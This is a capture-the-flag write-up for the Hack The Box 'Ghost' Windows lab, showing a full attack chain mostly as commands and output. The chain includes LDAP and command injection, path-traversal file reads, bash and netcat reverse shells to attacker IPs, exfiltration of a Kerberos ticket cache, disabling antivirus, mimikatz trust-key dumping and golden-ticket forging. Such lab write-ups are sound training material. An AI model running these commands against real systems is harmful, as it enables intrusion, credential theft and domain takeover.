Hack The Box / WINDOWS / 2026-03-27
Hack The Box — Ghost (Windows)
Multi-stage compromise from LDAP injection and Ghost API file read to container escape pathing, AD trust key extraction, cross-realm golden ticket forging, and final domain admin access.
Target
- IP:
10.10.11.24
Recon
sudo nmap -sC -sV 10.10.11.24 -p- -v
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-07-16 12:26:19Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: ghost.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=DC01.ghost.htb
| Subject Alternative Name: DNS:DC01.ghost.htb, DNS:ghost.htb
| Issuer: commonName=DC01.ghost.htb
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-06-19T15:45:56
| Not valid after: 2124-06-19T15:55:55
| MD5: 5baa:c0a2:2d16:3ddf:29e3:d21c:154f:9aaa
|_SHA-1: d9d2:b4cd:cddf:b8a5:884b:a4b8:4648:ab24:4c78:54df
443/tcp open https?
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: ghost.htb0., Site: Default-First-Site-Name)
1433/tcp open ms-sql-s Microsoft SQL Server 2022 16.00.1000.00; RC0+
2179/tcp open vmrdp?
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: ghost.htb0., Site: Default-First-Site-Name)
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: ghost.htb0., Site: Default-First-Site-Name)
3389/tcp open ms-wbt-server Microsoft Terminal Services
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
8008/tcp open http nginx 1.18.0 (Ubuntu)
| http-methods:
|_ Supported Methods: POST GET HEAD OPTIONS
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-favicon: Unknown favicon MD5: A9C6DBDCDC3AE568F4E0DAD92149A0E3
|_http-title: Ghost
| http-robots.txt: 5 disallowed entries
|_/ghost/ /p/ /email/ /r/ /webmentions/receive/
|_http-generator: Ghost 5.78
8443/tcp open ssl/http nginx 1.18.0 (Ubuntu)
| http-title: Ghost Core
|_Requested resource was /login
9389/tcp open mc-nmf .NET Message Framing
49443/tcp open unknown
49664/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
49671/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
50999/tcp open msrpc Microsoft Windows RPC
64954/tcp open msrpc Microsoft Windows RPC
65010/tcp open msrpc Microsoft Windows RPC
Service Info: Host: DC01; OSs: Windows, Linux; CPE: cpe:/o:microsoft:windows, cpe:/o:linux:linux_kernel
Add to /etc/hosts:
ghost.htbdc01.ghost.htbcore.ghost.htb
Go to https://ghost.htb:8443/, click the button.
You are redirected to https://federation.ghost.htb/.
Add federation.ghost.htb to /etc/hosts.
Go to http://ghost.htb:8008/.
gobuster vhost -u 'http://ghost.htb:8008/' -w /home/kali/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -t 50 --append-domain
Found: intranet.ghost.htb:8008 Status: 307 [Size: 3968] [--> /login]
Add intranet.ghost.htb to /etc/hosts.
LDAP injection on intranet
Go to http://intranet.ghost.htb:8008/.
Use * as username and password.
Login works, so LDAP injection is present.
Main page note says Gitea migration is ongoing and only gitea_temp_principal can log in, with password stored in LDAP.
There is a users page with usernames. We can use LDAP injection to extract user credentials. See attachment script:
attachments/ldap_injection.py
Recovered credentials include:
arthur.boyd:lhhx3kylwqdjxjqpgitea_temp_principal:szrr8kpc3z6onlqf
Add gitea.ghost.htb to /etc/hosts.
Go to http://gitea.ghost.htb:8008/.
Login with:
gitea_temp_principal:szrr8kpc3z6onlqf
Two repositories:
ghost-dev / blogghost-dev / intranet
Download both.
Ghost API abuse
In repo blog we find Ghost API key:
a5af628828958c976a3b6cc81a
curl "http://ghost.htb:8008/ghost/api/content/settings/?key=a5af628828958c976a3b6cc81a"
{"settings":{"title":"Ghost","description":"Thoughts, stories and ideas.","logo":null,"icon":null,"accent_color":"#FF1A75","cover_image":"https://static.ghost.org/v5.0.0/images/publication-cover.jpg","facebook":"ghost","twitter":"@ghost","lang":"en","locale":"en","timezone":"Etc/UTC","codeinjection_head":null,"codeinjection_foot":null,"navigation":[{"url":"/","label":"Home"}],"secondary_navigation":[],"meta_title":null,"meta_description":null,"og_image":null,"og_title":null,"og_description":null,"twitter_image":null,"twitter_title":null,"twitter_description":null,"members_support_address":"noreply","members_enabled":false,"allow_self_signup":false,"members_invite_only":false,"paid_members_enabled":false,"firstpromoter_account":null,"portal_button_style":"icon-and-text","portal_button_signup_text":"Subscribe","portal_button_icon":null,"portal_signup_terms_html":null,"portal_signup_checkbox_required":false,"portal_plans":["free"],"portal_default_plan":"yearly","portal_name":true,"portal_button":true,"comments_enabled":"off","recommendations_enabled":false,"outbound_link_tagging":true,"default_email_address":"noreply@ghost.htb","support_email_address":"noreply@ghost.htb","url":"http://ghost.htb/","version":"5.78"},"meta":{}}
Version is 5.78.
From modified source in blog, we see this logic:
async query(frame) {
const options = {
...frame.options,
mongoTransformer: rejectPrivateFieldsTransformer
};
const posts = await postsService.browsePosts(options);
const extra = frame.original.query?.extra;
if (extra) {
const fs = require("fs");
if (fs.existsSync(extra)) {
const fileContent = fs.readFileSync("/var/lib/ghost/extra/" + extra, { encoding: "utf8" });
posts.meta.extra = { [extra]: fileContent };
}
}
return posts;
}
So we can use extra with path traversal.
curl -H "Accept-Version: v5.0" "http://ghost.htb:8008/ghost/api/content/posts/?key=a5af628828958c976a3b6cc81a&extra=../../../../etc/passwd"
/etc/passwd is returned and we notice user node.
curl -H "Accept-Version: v5.0" "http://ghost.htb:8008/ghost/api/content/posts/?key=a5af628828958c976a3b6cc81a&extra=../../../../proc/self/environ"
HOSTNAME=26ae7990f3dd\u0000database__debug=false\u0000YARN_VERSION=1.22.19\u0000PWD=/var/lib/ghost\u0000NODE_ENV=production\u0000database__connection__filename=content/data/ghost.db\u0000HOME=/home/node\u0000database__client=sqlite3\u0000url=http://ghost.htb\u0000DEV_INTRANET_KEY=!@yqr!X2kxmQ.@Xe\u0000database__useNullAsDefault=true\u0000GHOST_CONTENT=/var/lib/ghost/content\u0000SHLVL=0\u0000GHOST_CLI_VERSION=1.25.3\u0000GHOST_INSTALL=/var/lib/ghost\u0000PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\u0000NODE_VERSION=18.19.0\u0000GHOST_VERSION=5.78.0\u0000
We get:
DEV_INTRANET_KEY=!@yqr!X2kxmQ.@Xe
Command injection in intranet dev scan
curl -X POST 'http://intranet.ghost.htb:8008/api-dev/scan' -d '{"url": "; sleep 3"}' -H 'Content-Type: application/json' -H 'X-DEV-INTRANET-KEY: !@yqr!X2kxmQ.@Xe' -vv
Server hangs for 3 seconds, so injection is valid.
Create a file rev with content:
bash -i >& /dev/tcp/10.10.16.10/4444 0>&1
Start listeners:
python3 -m http.server 80
nc -vlnp 4444
curl -X POST 'http://intranet.ghost.htb:8008/api-dev/scan' -d '{"url": "; curl http://10.10.16.29/rev | bash"}' -H 'Content-Type: application/json' -H 'X-DEV-INTRANET-KEY: !@yqr!X2kxmQ.@Xe' -vv
Reverse shell obtained. We are root in a Docker container.
Upload static ncat binary (https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/ncat) to target in /tmp.
Transfer DB for local checks:
nc -vlnp 5000 > database.sqlite
/tmp/ncat 10.10.16.29 5000 < database.sqlite
sqlite3 database.sqlite
No useful data.
cd /
cat docker-entrypoint.sh
We find:
sshpass -p 'uxLmt*udNc6t3HrF' ssh -o "StrictHostKeyChecking no" florence.ramirez@ghost.htb@dev-workstation exit
printenv
LDAP_BIND_DN=CN=Intranet Principal,CN=Users,DC=ghost,DC=htb
LDAP_HOST=ldap://windows-host:389
LDAP_BIND_PASSWORD=He!KA9oKVT3rL99j
JWT_SECRET=*xopkAGbLyg9bK_A
AD and portal credential checks
crackmapexec ldap ghost.htb -u 'Intranet_Principal' -p 'He!KA9oKVT3rL99j'
LDAP DC01.ghost.htb 389 DC01 [+] ghost.htb\Intranet_Principal:He!KA9oKVT3rL99j
Go to https://ghost.htb:8443/ -> login -> redirected to federation.
Login with:
florence.ramirez@ghost.htb:uxLmt*udNc6t3HrF
We are redirected to https://core.ghost.htb:8443/unauthorized.
Sorry, this page is only currently available to the Administrator
You are currently logged in as: florence.ramirez
crackmapexec smb ghost.htb -u 'florence.ramirez' -p 'uxLmt*udNc6t3HrF' --shares
crackmapexec ldap ghost.htb -u 'florence.ramirez' -p 'uxLmt*udNc6t3HrF'
Credentials are valid.
Kerberos cache theft from another container
From initial container:
ssh -o "StrictHostKeyChecking no" florence.ramirez@ghost.htb@dev-workstation
Now in another Docker container.
cat /docker-entrypoint.sh
printenv
We notice:
KRB5CCNAME=FILE:/tmp/krb5cc_50
Transfer ticket cache:
Attacker:
nc -vlnp 5000 > krb5cc_50
Victim:
cat /tmp/krb5cc_50 > /dev/tcp/10.10.16.29/5000
Attacker setup:
export KRB5CCNAME=$(pwd)/krb5cc_50
bloodhound-python -u 'florence.ramirez' -p 'uxLmt*udNc6t3HrF' -ns 10.10.11.24 -d 'ghost.htb' -dc 'DC01.ghost.htb' -c All -k
Then:
sudo neo4j console
bloodhound --no-sandbox
Update /etc/krb5.conf realm with:
GHOST.HTB = {
kdc = DC01.ghost.htb
admin_server = ghost.htb
default_domain = ghost.htb
}
Run LDAP via Kerberos:
ldapsearch -H ldap://10.10.11.24 -Y GSSAPI -s base
ldapsearch -H ldap://10.10.11.24 -Y GSSAPI -b 'cn=users,dc=ghost,dc=htb' 'user' 'description'
No useful result.
DNS spoofing and hash capture
On http://intranet.ghost.htb:8008/forum, post by justin.bradley references bitbucket.ghost.htb checks.
So perform DNS spoofing.
sudo responder -I tun0
git clone https://github.com/dirkjanm/krbrelayx/
cd krbrelayx
python3 dnstool.py -u 'ghost\florence.ramirez' -p 'uxLmt*udNc6t3HrF' -r bitbucket.ghost.htb -a add -t A -d 10.10.16.29 10.10.11.24
After waiting we capture:
[HTTP] NTLMv2 Client : 10.10.11.24
[HTTP] NTLMv2 Username : ghost\justin.bradley
[HTTP] NTLMv2 Hash : justin.bradley::ghost:4331058509b3a86c:16E781483EB7F68386896E68E27AED54:010100000000000003BCBAF0C0D9DA0195E02CDE08FD613C00000000020008004700430041004B0001001E00570049004E002D003300370049005100550048005300480045004B004100040014004700430041004B002E004C004F00430041004C0003003400570049004E002D003300370049005100550048005300480045004B0041002E004700430041004B002E004C004F00430041004C00050014004700430041004B002E004C004F00430041004C0008003000300000000000000000000000004000007DD307095A2E006EC54280BB3A07AFEE09FC5304599F77F8288C42905544E1210A001000000000000000000000000000000000000900300048005400540050002F006200690074006200750063006B00650074002E00670068006F00730074002E006800740062000000000000000000
Could not crack.
MSSQL command execution and SYSTEM shell
mssqlclient.py -port 1433 -windows-auth "ghost.htb/florence.ramirez:uxLmt*udNc6t3HrF@10.10.11.24"
In SQL shell:
use_link[PRIMARY]
use master
exec_as_login sa
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
Download nc64.exe from:
https://github.com/int0x33/nc.exe/raw/master/nc64.exe
Attacker:
nc -vlnp 4444
Victim via xp_cmdshell:
xp_cmdshell powershell -c "curl http://10.10.16.52/nc64.exe -o $env:TEMP\nc64.exe"
xp_cmdshell powershell -c "$env:TEMP"
C:\Windows\SERVIC~1\MSSQLS~1\AppData\Local\Temp
xp_cmdshell powershell -c "C:\Windows\SERVIC~1\MSSQLS~1\AppData\Local\Temp\nc64.exe -e cmd.exe 10.10.16.52 4444"
Reverse shell obtained.
Upload winpeas (https://github.com/peass-ng/PEASS-ng/releases) and run it.
Host appears vulnerable to EfsPotato.
Exploit repo:
https://github.com/zcgonvh/EfsPotato
Transfer EfsPotato.exe and nc64.exe:
curl http://10.10.16.52/EfsPotato.exe -o EfsPotato.exe
curl http://10.10.16.52/nc64.exe -o nc64.exe
Attacker:
nc -vlnp 4444
Victim:
.\EfsPotato.exe ".\nc64.exe -e cmd.exe 10.10.16.52 4444"
Now shell is NT AUTHORITY\SYSTEM.
Trust key extraction and golden ticket
Disable AV:
Set-MpPreference -DisableRealtimeMonitoring $true
Upload and run mimikatz:
.\mimikatz "lsadump::trust /patch" exit
Important values:
Domain: GHOST.HTB (GHOST / S-1-5-21-4084500788-938703357-3654145966)
[ In-1] CORP.GHOST.HTB -> GHOST.HTB
* rc4_hmac_nt dae1ad83e2af14a379017f244a2f5297
Collect these SIDs (BloodHound or PowerView):
krbtgt: S-1-5-21-4084500788-938703357-3654145966-502corp.ghost.htb: S-1-5-21-2034262909-2733679486-179904498-502ghost.htb: S-1-5-21-4084500788-938703357-3654145966-519
Forge ticket:
.\mimikatz.exe "kerberos::golden /user:Administrator /domain:CORP.GHOST.HTB /sid:S-1–5–21–2034262909–2733679486–179904498-502 /sids:S-1–5–21–4084500788–938703357–3654145966-519 /rc4:dae1ad83e2af14a379017f244a2f5297 /service:krbtgt /target:GHOST.HTB /ticket:golden.kirbi" exit
golden.kirbi is generated.
Upload Rubeus (NetFramework_4.7_x64) from:
https://github.com/Flangvik/SharpCollection/raw/master/NetFramework_4.7_x64/Rubeus.exe
.\Rubeus.exe asktgs /ticket:golden.kirbi /dc:dc01.ghost.htb /service:CIFS/dc01.ghost.htb /nowrap /ptt
Output indicates successful TGS request and ticket import.
Flag access
cd \\dc01.ghost.htb\c$
cd Users
type justin.bradley\Desktop\user.txt
type Administrator\Desktop\root.txt